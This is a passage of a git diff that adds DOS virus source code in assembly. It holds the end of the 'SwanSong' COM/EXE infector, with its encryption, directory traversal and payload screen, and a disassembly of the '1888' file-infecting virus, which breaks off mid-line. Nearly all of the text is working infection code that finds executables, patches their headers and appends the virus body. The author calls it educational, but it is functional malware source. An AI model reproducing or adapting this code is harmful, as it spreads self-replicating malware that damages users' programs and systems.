dx,[bp+exe_mask] + call infect_mask + lea dx,[bp+com_mask] + call infect_mask + mov ah,3bh ; change directory + lea dx,[bp+dot_dot] ; "cd .." + int 21h + jnc dir_scan ; go back for mo! + +done_infections: + ;mov ah,2ah ; Get current date + ;int 21h + ;cmp dh,9 ; Check month + ;jb act_two + ;cmp dl,25 ; Check date + ;jb act_two + ;cmp cx,1992 ; Check year + ;jb act_two + ;cmp al,0 ; Check date of week + ;jb activate + + ;mov ah,2ch ; Get current time + ;int 21h + ;cmp dl,50 ; Check the percentage + jbe activate + +exit_virus: + mov ax,2524h ; Restore int 24 handler + lds dx,[bp+offset oldint24] ; to original + int 21h + push cs + pop ds + + mov ah,3bh ; change directory + lea dx,[bp+origdir-1] ; original directory + int 21h + + mov ah,1ah ; restore DTA to default + mov dx,80h ; DTA in PSP + cmp sp,id-4 ; EXE or COM? + jz returnEXE +returnCOM: + int 27h + retn ; 100h is on stack +returnEXE: + pop es + pop ds + int 21h + mov ax,es ; AX = PSP segment + add ax,10h ; Adjust for PSP + add word ptr cs:[bp+jmpsave+2],ax + add ax,word ptr cs:[bp+stacksave+2] + cli ; Clear intrpts for stack manipulation + mov sp,word ptr cs:[bp+stacksave] + mov ss,ax + sti + db 0eah ; jmp ssss:oooo +jmpsave dd ? ; Original CS:IP +stacksave dd ? ; Original SS:SP +jmpsave2 db ? ; Actually four bytes +save3 db 0cdh,20h,0 ; First 3 bytes of COM file +exe_mask db '*.exe',0 +com_mask db '*.com',0 +stacksave2 dd ? + +activate proc far + +start: + jmp short loc_1 + db 90h +data_2 db 0 +data_3 dw 216h + db 2 +data_4 dw 0 + db 'Ripped this Motherfucker off' + db 1Ah +data_5 db 'SHIT!!! Wont work....', 0Dh, 0Ah + db '$' +loc_1: + + mov ax,0003h ; stick 3 into ax. + int 10h ; Set up 80*25, text mode. Clear the screen, too. + mov ah,0Fh + int 10h ; Video display ah=functn 0Fh + ; get state, al=mode, bh=page + ; ah=columns on screen + mov bx,0B800h + cmp al,2 + je loc_2 ; Jump if equal + cmp al,3 + je loc_2 ; Jump if equal + mov data_2,0 + mov bx,0B000h + cmp al,7 + je loc_2 ; Jump if equal + mov dx,offset data_5 ; ('Unsupported Video Mode') + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + retn +loc_2: + mov es,bx + mov di,data_4 + mov si,offset data_6 + mov dx,3DAh + mov bl,9 + mov cx,data_3 + cld ; Clear direction + xor ax,ax ; Zero register + +locloop_4: + lodsb ; String [si] to al + cmp al,1Bh + jne loc_5 ; Jump if not equal + xor ah,80h + jmp short loc_20 +loc_5: + cmp al,10h + jae loc_8 ; Jump if above or = + and ah,0F0h + or ah,al + jmp short loc_20 +loc_8: + cmp al,18h + je loc_11 ; Jump if equal + jnc loc_12 ; Jump if carry=0 + sub al,10h + add al,al + add al,al + add al,al + add al,al + and ah,8Fh + or ah,al + jmp short loc_20 +loc_11: + mov di,data_4 + add di,data_1e + mov data_4,di + jmp short loc_20 +loc_12: + mov bp,cx + mov cx,1 + cmp al,19h + jne loc_13 ; Jump if not equal + lodsb ; String [si] to al + mov cl,al + mov al,20h ; ' ' + dec bp + jmp short loc_14 +loc_13: + cmp al,1Ah + jne loc_15 ; Jump if not equal + lodsb ; String [si] to al + dec bp + mov cl,al + lodsb ; String [si] to al + dec bp +loc_14: + inc cx +loc_15: + cmp data_2,0 + je loc_18 ; Jump if equal + mov bh,al + +locloop_16: + in al,dx ; port 3DAh, CGA/EGA vid status + rcr al,1 ; Rotate thru carry + jc locloop_16 ; Jump if carry Set +loc_17: + in al,dx ; port 3DAh, CGA/EGA vid status + and al,bl + jnz loc_17 ; Jump if not zero + mov al,bh + stosw ; Store ax to es:[di] + loop locloop_16 ; Loop if cx > 0 + + jmp short loc_19 +loc_18: + rep stosw ; Rep when cx >0 Store ax to es:[di] +loc_19: + mov cx,bp +loc_20: + jcxz loc_new_25 ; Jump if cx=0 + loop locloop_4 ; Loop if cx > 0 +loc_new_25: + + + mov si,offset data00 ; SI points to data +get_note: mov bx,[si] ; Load BX with the frequency + or bx,bx ; Is BX equal to zero? + je play_tune_done ; If it is we are finished + + mov ax,034DDh ; + mov dx,0012h ; + cmp dx,bx ; + jnb new_note ; + div bx ; This bit here was stolen + mov bx,ax ; from the Turbo C++ v1.0 + in al,061h ; library file CS.LIB. I + test al,3 ; extracted sound() from the + jne skip_an_or ; library and linked it to + or al,3 ; an .EXE file, then diassembled + out 061h,al ; it. Basically this turns + mov al,0B6h ; on the speaker at a certain + out 043h,al ; frequency. +skip_an_or: mov al,bl ; + out 042h,al ; + mov al,bh ; + out 042h,al ; + + mov bx,[si + 2] ; BX holds duration value + xor ah,ah ; BIOS get time function + int 1Ah + add bx,dx ; Add the time to the length +wait_loop: int 1Ah ; Get the time again (AH = 0) + cmp dx,bx ; Is the delay over? + jne wait_loop ; Repeat until it is + in al,061h ; Stolen from the nosound() + and al,0FCh ; procedure in Turbo C++ v1.0. + out 061h,al ; This turns off the speaker. + +new_note: add si,4 ; SI points to next note + jmp short get_note ; Repeat with the next note +play_tune_done: +activate endp + + jmp exit_virus + +creator db '[pAgE]',0 ; YOU REALLY SHOULD TAKE THIS +virusname db '[SwanSong]',0 ; BULLSHIT OUT OF HERE!!! +author db 'pAgE',0 ; WHY NOT HOLD UP A SIGN!!! + +infect_mask: + mov ah,4eh ; find first file + mov cx,7 ; any attribute +findfirstnext: + int 21h ; DS:DX points to mask + jc exit_infect_mask ; No mo files found + + mov al,0h ; Open read only + call open + + mov ah,3fh ; Read file to buffer + lea dx,[bp+buffer] ; @ DS:DX + mov cx,20h ; 1Ah bytes + int 21h + + mov ah,3eh ; Close file + int 21h + + cmp word ptr [bp+buffer],'ZM'; EXE? + jz checkEXE ; Why yes, yes it is! +checkCOM: + mov ax,word ptr [bp+newDTA+1ah] ; Filesize in DTA + cmp ax,(heap-decrypt) ; Is it too small? + jb find_next + + mov bx,word ptr [bp+buffer+1] ;get jmp location + add bx,(heap-decrypt+1) ; Adjust for virus size + cmp ax,bx + je find_next ; already infected + jmp infect_com +checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected? + jnz infect_exe +find_next: + mov ah,4fh ; find next file + jmp short findfirstnext +exit_infect_mask: ret + +infect_exe: + les ax, dword ptr [bp+buffer+14h] ; Save old entry point + mov word ptr [bp+jmpsave2], ax + mov word ptr [bp+jmpsave2+2], es + + les ax, dword ptr [bp+buffer+0Eh] ; Save old stack + mov word ptr [bp+stacksave2], es + mov word ptr [bp+stacksave2+2], ax + + mov ax, word ptr [bp+buffer + 8] ; Get header size + mov cl, 4 ; convert to bytes + shl ax, cl + xchg ax, bx + + les ax, [bp+offset newDTA+26]; Get file size + mov dx, es ; to DX:AX + push ax + push dx + + sub ax, bx ; Subtract header size from + sbb dx, 0 ; file size + + mov cx, 10h ; Convert to segment:offset + div cx ; form + + mov word ptr [bp+buffer+14h], dx ; New entry point + mov word ptr [bp+buffer+16h], ax + + mov word ptr [bp+buffer+0Eh], ax ; and stack + mov word ptr [bp+buffer+10h], id + + pop dx ; get file length + pop ax + + add ax,(heap-decrypt) ; add virus size + adc dx, 0 + + mov cl, 9 + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 1 ; mod 512 + + mov word ptr [bp+buffer+4], dx ; new file size + mov word ptr [bp+buffer+2], ax + + push cs ; restore ES + pop es + + push word ptr [bp+buffer+14h] ; needed later + mov cx, 1ah + jmp short finishinfection +infect_com: ; ax = filesize + mov cx,3 + sub ax,cx + lea si,[bp+offset buffer] + lea di,[bp+offset save3] + movsw + movsb + mov byte ptr [si-3],0e9h + mov word ptr [si-2],ax + add ax,103h + push ax ; needed later +finishinfection: + push cx ; Save # bytes to write + xor cx,cx ; Clear attributes + call attributes ; Set file attributes + + mov al,2 + call open + + mov ah,40h ; Write to file + lea dx,[bp+buffer] ; Write from buffer + pop cx ; cx bytes + int 21h + + mov ax,4202h ; Move file pointer + xor cx,cx ; to end of file + cwd ; xor dx,dx + int 21h + +get_encrypt_value: + mov ah,2ch ; Get current time + int 21h ; dh=sec,dl=1/100 sec + or dx,dx ; Check if encryption value = 0 + jz get_encrypt_value ; Get another if it is + mov [bp+decrypt_value],dx ; Set new encryption value + lea di,[bp+code_store] + mov ax,5355h ; push bp,push bx + stosw + lea si,[bp+decrypt] ; Copy encryption function + mov cx,startencrypt-decrypt ; Bytes to move + push si ; Save for later use + push cx + rep movsb + + lea si,[bp+write] ; Copy writing function + mov cx,endwrite-write ; Bytes to move + rep movsb + pop cx + pop si + pop dx ; Entry point of virus + push di + push si + push cx + rep movsb ; Copy decryption function + mov ax,5b5dh ; pop bx,pop bp + stosw + mov al,0c3h ; retn + stosb + + add dx,offset startencrypt - offset decrypt ; Calculate new + mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of + call code_store ; decryption + pop cx + pop di + pop si + rep movsb ; Restore decryption function + + mov ax,5701h ; Restore creation date/time + mov cx,word ptr [bp+newDTA+16h] ; time + mov dx,word ptr [bp+newDTA+18h] ; date + int 21h + + mov ah,3eh ; Close file + int 21h + + mov ch,0 + mov cl,byte ptr [bp+newDTA+15h] ; Restore original + call attributes ; attributes + + dec byte ptr [bp+numinfec] ; One mo infection + jnz mo_infections ; Not enough + pop ax ; remove call from stack + jmp done_infections +mo_infections: jmp find_next + +open: + mov ah,3dh + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + xchg ax,bx + ret + +attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + ret + +write: + pop bx ; Restore file handle + pop bp ; Restore relativeness + mov ah,40h ; Write to file + lea dx,[bp+decrypt] ; Concatenate virus + mov cx,(heap-decrypt) ; # bytes to write + int 21h + push bx + push bp +endwrite: + +int24: ; New int 24h (error) handler + mov al,3 ; Fail call + iret ; Return control +data00 dw 2000,8,2500,8,2000,14,2500,14 + dw 2500,14,3000,4,4000,24,3500,12,4000,6 + dw 3500,12,4000,4,4500,10,5000,4 + dw 5500,15,3000,8,3500,20,3000,8,3500,50 + dw 2000,8,2500,8,2000,14,2500,14 + dw 2500,14,3000,4,4000,24,3500,12,4000,6 + dw 3500,12,4000,4,4500,10,5000,4 + dw 5500,15,3000,8,3500,20,3000,8,3500,50 + dw 2000,8,2500,8,2000,14,2500,14 + dw 2500,14,3000,4,4000,24,3500,12,4000,6 + dw 3500,12,4000,4,4500,10,5000,4 + dw 5500,15,3000,8,3500,20,3000,8,3500,50 + dw 0 + +data_6 db 9 + db 10h, 19h, 45h, 18h, 19h, 1Bh + db 01h,0D5h,0CDh,0CDh,0B8h, 04h + db 0F3h, 09h,0A9h, 04h, 9Dh + db 9 + db 0AAh, 04h,0F2h, 01h,0D5h,0CDh + db 0CDh,0B8h, 19h, 1Ch, 18h, 19h + db 12h,0D5h, 1Ah, 0Ah,0CDh,0BEh + db 20h, 09h, 5Ch, 04h,0F6h, 09h + db 2Fh, 20h, 01h,0D4h, 1Ah, 0Ah + db 0CDh,0B8h, 19h, 13h, 18h, 19h + db 03h,0C9h, 1Ah, 0Dh,0CDh,0BEh + db 19h, 03h, 0Fh,0D2h,0B7h, 19h + db 04h,0D6h, 1Ah, 03h,0C4h,0B7h + db 20h,0D2h,0D2h,0C4h,0C4h,0C4h + db 0B7h, 19h, 04h, 01h,0D4h, 1Ah + db 0Eh,0CDh,0BBh, 19h, 03h, 18h + db 19h, 03h,0BAh, 19h, 12h, 07h + db 0BAh,0BAh, 19h, 04h,0BAh, 19h + db 03h,0BDh, 20h,0BAh,0BAh, 19h + db 02h,0D3h,0B7h, 19h, 13h, 01h + db 0BAh, 19h, 03h, 18h, 19h, 03h + db 0BAh, 19h, 07h, 0Bh, 1Ah, 02h + db 04h, 19h, 07h, 08h,0BAh,0B6h + db 19h, 04h,0C7h,0C4h,0B6h, 19h + db 03h,0BAh,0B6h, 19h, 03h,0BAh + db 19h, 07h, 0Bh, 1Ah, 02h, 04h + db 19h, 08h, 01h,0BAh, 19h, 03h + db 18h,0D6h,0C4h,0C4h, 20h,0BAh + db 19h, 12h, 08h,0BAh,0D3h, 19h + db 02h,0B7h, 20h,0BAh, 19h, 03h + db 0B7h, 20h,0BAh,0D3h, 19h, 02h + db 0D6h,0BDh, 19h, 13h, 01h,0BAh + db 20h,0C4h,0C4h,0B7h, 18h,0D3h + db 0C4h,0C4h,0C4h,0BDh, 19h, 12h + db 08h,0D3h, 1Ah, 03h,0C4h,0BDh + db 20h,0D3h, 1Ah, 03h,0C4h,0BDh + db 20h,0D0h, 1Ah, 03h,0C4h,0BDh + db 19h, 14h, 01h,0D3h,0C4h,0C4h + db 0C4h,0BDh, 18h, 04h, 1Ah, 04h + db 3Eh, 19h, 03h, 0Fh,0D6h, 1Ah + db 04h,0C4h,0B7h, 20h,0D6h, 1Ah + db 03h,0C4h,0B7h, 20h,0D2h,0D2h + db 0C4h,0C4h,0C4h,0B7h, 20h,0D2h + db 0D2h,0C4h,0C4h,0C4h,0B7h, 20h + db 0D6h, 1Ah, 03h,0C4h,0B7h, 20h + db 0D2h,0B7h, 19h, 04h,0D2h, 20h + db 20h,0D2h,0D2h,0C4h,0C4h,0C4h + db 0B7h, 19h, 03h, 04h, 1Ah, 04h + db 3Ch, 18h, 01h,0D6h,0C4h,0C4h + db 0C4h,0B7h, 19h, 07h, 07h,0D6h + db 0C4h,0BDh + dd 319BA20h ; Data table (indexed access) + db 0BDh, 20h,0BAh,0BDh, 19h, 02h + db 0BAh, 20h,0BAh,0BDh, 19h, 02h + db 0BAh, 20h,0BAh, 19h, 03h,0BDh + db 20h,0BAh,0BAh, 19h, 04h,0BAh + db 20h, 20h,0BAh,0BAh, 19h, 02h + db 0BAh, 19h, 03h, 01h,0D6h,0C4h + db 0C4h,0C4h,0B7h, 18h,0D3h,0C4h + db 0C4h, 20h,0BAh, 19h, 06h, 08h + db 58h, 19h, 03h,0C7h,0C4h,0B6h + db 19h, 03h,0BAh, 1Ah, 03h,0C4h + db 0BDh, 20h,0BAh, 1Ah, 03h,0C4h + db 0BDh, 20h,0C7h,0C4h,0B6h, 19h + db 03h,0BAh,0B6h, 19h, 04h,0BAh + db 20h, 20h,0BAh,0B6h, 19h, 02h + db 0BAh, 19h, 03h, 01h,0BAh, 20h + db 0C4h,0C4h,0BDh, 18h, 19h, 03h + db 0BAh, 19h, 03h, 08h,0D6h,0C4h + db 0BDh, 19h, 04h,0BAh, 19h, 03h + db 0B7h, 20h,0BAh, 19h, 05h,0BAh + db 19h, 05h,0BAh, 19h, 03h,0B7h + db 20h,0BAh,0D3h, 19h, 02h,0B7h + db 20h,0BAh, 20h, 20h,0BAh,0D3h + db 19h, 02h,0BAh, 19h, 03h, 01h + db 0BAh, 19h, 03h, 18h, 19h, 03h + db 0BAh, 19h, 03h, 08h,0D3h, 1Ah + db 04h,0C4h,0BDh, 20h,0D3h, 1Ah + db 03h,0C4h,0BDh, 20h,0BDh, 19h + db 05h,0BDh, 19h, 05h,0D3h, 1Ah + db 03h,0C4h,0BDh, 20h,0D3h, 1Ah + db 03h,0C4h,0BDh, 20h,0D0h, 20h + db 20h,0D0h, 19h, 03h,0D0h, 19h + db 03h, 01h,0BAh, 19h, 03h, 18h + db 19h, 03h,0C8h, 1Ah, 15h,0CDh + db 0B8h, 19h, 0Ch,0D5h, 1Ah, 16h + db 0CDh,0BCh, 19h, 03h, 18h, 19h + db 1Ah,0D4h,0CDh, 04h, 1Ah, 03h + db 0F7h, 09h, 2Fh, 04h,0EAh, 09h + db 5Ch, 04h, 1Ah, 03h,0F7h, 01h + db 0CDh,0BEh, 19h, 1Bh, 18h + +data_1e equ 0A0h +dot_dot db '..',0 +heap: +; The following code is the buffer for the write function +code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?) +oldint24 dd ? ; Storage for old int 24h handler +backslash db ? +origdir db 64 dup (?) ; Current directory buffer +newDTA db 43 dup (?) ; Temporary DTA +numinfec db ? ; Infections this run +buffer db 1ah dup (?) ; read buffer +endheap: ; End of virus +finish label near +end entry_point + + + +; Yeah, the main problem is reproducing the effect in an infected file so +; thta when IT runs, IT too will display... That's the GLITCH... +; +; Also, I had stuck INT 27H in somewhere around the EXIT .EXE... +; I don't remember, but it would go resident and suck up memory, yet +; since it hooked no interuppts, it just sat there... +; Feel free to STUDY this code and distribute it feely for educational +; purposes, because in spite of the kidding...I don't "hAcK"... for lack +; of a better word...--->>pAgE<<--- diff --git a/0-9/1888 (7).ASM b/0-9/1888 (7).ASM new file mode 100755 index 0000000..ccc01a3 --- /dev/null +++ b/0-9/1888 (7).ASM @@ -0,0 +1,1923 @@ + +PAGE 59,132 + +; +; +; 1888 +; +; Created: 28-Jul-92 +; Passes: 5 Analysis Options on: none +; +; + +d_0040_001C_e equ 1Ch +d_0040_004A_e equ 4Ah +d_8B38_0003_e equ 3 ;* +data_0012_e equ 12h +data_0016_e equ 16h +data_00A3_e equ 0A3h +data_00A7_e equ 0A7h +data_00A9_e equ 0A9h +data_00AB_e equ 0ABh +data_00AF_e equ 0AFh +data_00B3_e equ 0B3h +data_00B5_e equ 0B5h +d_9E01_0000_e equ 0 ;* +d_9E01_0002_e equ 2 ;* +d_9E01_0004_e equ 4 ;* +d_9E01_0008_e equ 8 ;* +d_9E01_0014_e equ 14h ;* +d_9E01_0016_e equ 16h ;* + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +1888 proc far + +start: + jmp loc_0767 +data_0103 db 20h +data_0104 dw 86C0h +data_0106 dw 18FCh +data_0108 dw 762h +data_010A dw 0 +data_010C db '1888.COM', 0 + db 00h, 00h, 00h,0A6h +data_0119 dw 25h +data_011B db 1 +data_011C dw 760h +data_011E db 0 +data_011F db 0 +data_0120 dw 762h +data_0122 dw 760h +data_0124 dw 0FFFEh +data_0126 dw 5369h ; Data table (indexed access) +data_0128 dw 5369h +data_012A dw 4C97h +data_012C dd 9E010000h +data_0130 dw 7C8h +data_0132 db 8 +data_0133 db 10h +data_0134 db 0 +data_0135 db 10h + db 0, 0, 0, 0 +data_013A db '\DANGER\1888' + db 20 dup (0) +data_015A db 'C:\', 0 + db '*', 0 + db 'NETWARE', 0 + db 'LMS', 0 + db 'MAUS', 0 + db 'MDB', 0 + db 'DOS', 0 + db 'BASE', 0 + db 'L', 0 +data_0180 dw 160h +data_0182 db 0 +data_0183 db 1 + db 14h, 17h, 6Eh, 00h, 01h,0A9h + db 00h, 01h,0BFh + db 38h +data_018E db 2Ah + db 2Eh, 65h, 78h, 65h, 00h +data_0194 db 2Ah + db 2Eh, 63h, 6Fh, 6Dh, 00h +data_019A db 0 +data_019B db 0 +data_019C db 0 +data_019D db 4 + db 3Fh + db 7 dup (3Fh) + db 43h, 4Fh, 4Dh, 23h, 04h, 00h + db 0F3h, 31h, 0Dh, 4Dh, 18h, 68h + db 20h,0C0h, 86h,0FCh, 18h, 62h + db 07h, 00h, 00h + db '1888.COM' + db 00h, 00h, 00h, 00h,0A6h,0EAh + db 0AAh, 03h, 00h,0CCh,0AAh, 03h + db 60h, 07h, 00h, 40h, 05h, 00h + db 60h, 07h, 00h, 01h,0C8h, 01h + db 19h, 01h, 00h, 00h, 69h, 53h + db 69h, 53h, 61h, 06h, 9Dh, 04h + db 16h, 32h, 21h, 00h, 7Bh, 1Ah + db 12h, 32h,0ADh, 04h, 69h, 53h + db 12h, 32h,0DEh, 07h + +1888 endp + +; +; SUBROUTINE +; + +sub_01F7 proc near + cmp data_011C,0 + jne loc_0207 ; Jump if not equal + mov ax,760h + mov data_011C,ax + mov data_0120,ax +loc_0207: + mov al,data_011E + mov data_011F,al + mov ax,data_0120 + mov data_0122,ax + inc data_0119 + mov data_019C,0 + mov data_019A,0 + mov data_019B,0 + retn +sub_01F7 endp + + +; +; SUBROUTINE +; + +sub_0227 proc near + lea dx,data_0183 ; Load effective addr + xor al,al ; Zero register + mov ah,3Dh ; '=' + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + jc loc_ret_0239 ; Jump if carry Set + mov bx,ax + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + +loc_ret_0239: + retn +sub_0227 endp + + +; +; SUBROUTINE +; + +sub_023A proc near + mov ah,2Ah ; '*' + int 21h ; DOS Services ah=function 2Ah + ; get date, cx=year, dh=month + ; dl=day, al=day-of-week 0=SUN + mov ah,dh + cmp cx,data_0130 + je loc_0249 ; Jump if equal + add ah,0Ch +loc_0249: + sub ah,data_0132 + mov data_011B,ah + mov data_0134,al + mov data_0133,dl + mov data_0132,dh + mov data_0130,cx + mov ah,2Ch ; ',' + int 21h ; DOS Services ah=function 2Ch + ; get time, cx=hrs/min, dx=sec + mov data_0135,ch + retn +sub_023A endp + + +; +; SUBROUTINE +; + +sub_0269 proc near + mov ax,es + dec ax + push es + mov es,ax + mov ax,es:d_8B38_0003_e + mov data_012A,ax + pop es + mov bx,ax + sub bx,200h + mov ah,4Ah ; 'J' + int 21h ; DOS Services ah=function 4Ah + ; change memory allocation + ; bx=bytes/16, es=mem segment + mov bx,150h + mov ah,48h ; 'H' + int 21h ; DOS Services ah=function 48h + ; allocate memory, bx=bytes/16 + mov word ptr data_012C+2,ax + retn +sub_0269 endp + + +; +; SUBROUTINE +; + +sub_028C proc near + push es + mov ax,word ptr data_012C+2 + mov es,ax + mov ah,49h ; 'I' + int 21h ; DOS Services ah=function 49h + ; release memory block, es=seg + mov ax,data_0128 + mov es,ax + mov bx,data_012A + mov ah,4Ah ; 'J' + int 21h ; DOS Services ah=function 4Ah + ; change memory allocation + ; bx=bytes/16, es=mem segment + pop es + retn +sub_028C endp + + +; +; SUBROUTINE +; + +sub_02A5 proc near + push ds + mov ah,1Bh + int 21h ; DOS Services ah=function 1Bh + ; get disk info, default drive + ; al=sectors per cluster + ; ds:bx=ptr to media ID byte + ; cx=sector size, dx=clusters + cmp byte ptr [bx],0F8h + pop ds + retn +sub_02A5 endp + + +; +; SUBROUTINE +; + +sub_02AF proc near + lea si,data_019D ; Load effective addr + mov di,si + xor dl,dl ; Zero register + mov ah,47h ; 'G' + int 21h ; DOS Services ah=function 47h + ; get present dir,drive dl,1=a: + ; ds:si=ASCIIZ directory name + mov cx,30h + mov al,0 + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + mov cx,di + sub cx,si + lea di,data_013A ; ('\DANGER\1888') Load effective addr + mov al,5Ch ; '\' + stosb ; Store al to es:[di] + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + retn +sub_02AF endp + + +; +; SUBROUTINE +; + +sub_02D0 proc near + mov data_0182,0 + lea bx,cs:[160h] ; Load effective addr + add bx,20h + mov data_0180,bx + sub bx,20h + lea dx,data_015A+4 ; ('*') Load effective addr + mov cx,33h + mov ah,4Eh ; 'N' + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jc loc_031F ; Jump if carry Set +loc_02F0: + lea di,data_019D ; Load effective addr + add di,1Eh + cmp byte ptr [di],2Eh ; '.' + je loc_0319 ; Jump if equal + mov si,di + mov cx,20h + mov al,0 + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + mov cx,di + sub cx,si + mov di,bx + add bx,cx + cmp bx,data_0180 + ja loc_031F ; Jump if above + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + inc data_0182 +loc_0319: + mov ah,4Fh ; 'O' + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + jnc loc_02F0 ; Jump if carry=0 +loc_031F: + lea bx,cs:[160h] ; Load effective addr + mov data_0180,bx + retn +sub_02D0 endp + + +; +; SUBROUTINE +; + +sub_0328 proc near + cmp data_0182,0 + je loc_ret_034C ; Jump if equal + lea dx,data_013A ; ('\DANGER\1888') Load effective addr + mov ah,3Bh ; ';' + int 21h ; DOS Services ah=function 3Bh + ; set current dir, path @ ds:dx + mov dx,data_0180 + mov di,dx + mov ah,3Bh ; ';' + int 21h ; DOS Services ah=function 3Bh + ; set current dir, path @ ds:dx + mov al,0 + mov cx,20h + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + mov data_0180,di + +loc_ret_034C: + retn +sub_0328 endp + + +; +; SUBROUTINE +; + +sub_034D proc near + mov ax,data_0104 + and al,1Fh + cmp al,1Eh + retn +sub_034D endp + + +; +; SUBROUTINE +; + +sub_0355 proc near + lea dx,data_0194 ; Load effective addr + cmp data_011E,0 + je loc_0364 ; Jump if equal + lea dx,data_018E ; Load effective addr +loc_0364: + mov cx,23h + mov ah,4Eh ; 'N' + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + retn +sub_0355 endp + + +; +; SUBROUTINE +; + +sub_036C proc near + lea si,data_019D ; Load effective addr + add si,15h + lea di,data_0103 ; Load effective addr + mov cx,16h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + retn +sub_036C endp + + +; +; SUBROUTINE +; + +sub_037D proc near + pushf ; Push flags + mov cx,data_0104 + or cl,1Fh + and cl,0FEh + mov dx,data_0106 + mov ax,5701h + int 21h ; DOS Services ah=function 57h + ; set file date+time, bx=handle + ; cx=time, dx=time + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + lea dx,data_010C ; ('1888.COM') Load effective addr + xor ch,ch ; Zero register + mov cl,data_0103 + mov ax,4301h + int 21h ; DOS Services ah=function 43h + ; set attrb cx, filename @ds:dx + popf ; Pop flags + retn +sub_037D endp + + +; +; SUBROUTINE +; + +sub_03A6 proc near + lea dx,data_010C ; ('1888.COM') Load effective addr + xor cx,cx ; Zero register + mov ax,4301h + int 21h ; DOS Services ah=function 43h + ; set attrb cx, filename @ds:dx + jc loc_ret_03BA ; Jump if carry Set + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + mov bx,ax + +loc_ret_03BA: + retn +sub_03A6 endp + + +; +; SUBROUTINE +; + +sub_03BB proc near + push ds + mov ax,word ptr data_012C+2 + mov ds,ax + mov cx,100h + xor dx,dx ; Zero register + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + cmp word ptr ds:d_9E01_0000_e,5A4Dh + nop ;*ASM fixup - sign extn byte + je loc_03D6 ; Jump if equal + stc ; Set carry flag + jmp loc_0455 +loc_03D6: + call sub_0457 + push ax + mov ax,di + and ax,0Fh + mov cx,10h + xor dx,dx ; Zero register + sub cx,ax + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + jnc loc_03EF ; Jump if carry=0 + jmp short loc_0455 + db 90h +loc_03EF: + mov si,ax + mov cx,100h + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + jc loc_0455 ; Jump if carry Set + pop dx + mov ax,di + add ax,si + add ax,100h + cmp ax,200h + jb loc_040B ; Jump if below + and ax,1FFh + inc dx +loc_040B: + mov cl,4 + shr ax,cl ; Shift w/zeros fill + dec dx + mov cl,5 + shl dx,cl ; Shift w/zeros fill + sub dx,ds:d_9E01_0008_e + add ax,dx + sub ax,10h + mov ds:d_9E01_0016_e,ax + mov word ptr ds:d_9E01_0014_e,100h + push ds + mov ax,cs + mov ds,ax + mov cx,data_011C + mov dx,100h + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + pop ds + jc loc_0455 ; Jump if carry Set + call sub_0457 + mov ds:d_9E01_0002_e,di + mov ds:d_9E01_0004_e,ax + mov ax,4200h + xor dx,dx ; Zero register + xor cx,cx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + jc loc_0455 ; Jump if carry Set + mov cx,100h + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer +loc_0455: + pop ds + retn +sub_03BB endp + + +; +; SUBROUTINE +; + +sub_0457 proc near + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + mov di,ax + and di,1FFh + mov cl,9 + shr ax,cl ; Shift w/zeros fill + mov cl,7 + shl dx,cl ; Shift w/zeros fill + add ax,dx + inc ax + retn +sub_0457 endp + + +; +; SUBROUTINE +; + +sub_0472 proc near + mov ax,data_0108 + mov data_0120,ax + mov cx,data_011C + cmp cx,ax + jb loc_0488 ; Jump if below + mov data_0120,cx + mov cx,data_0108 +loc_0488: + push ds + mov ax,word ptr data_012C+2 + mov ds,ax + xor dx,dx ; Zero register + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + pop ds + jc loc_ret_04DD ; Jump if carry Set + mov ax,4200h + xor dx,dx ; Zero register + xor cx,cx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + jc loc_ret_04DD ; Jump if carry Set + mov dx,100h + mov cx,data_011C + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + int 3 ; Debug breakpoint + cmp ax,cs:data_0108 + ja loc_04CC ; Jump if above + mov ax,4200h + mov dx,data_0108 + mov data_0120,dx + xor cx,cx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + jc loc_ret_04DD ; Jump if carry Set + mov cx,data_011C + jmp short loc_04D0 +loc_04CC: + mov cx,data_0108 +loc_04D0: + push ds + mov 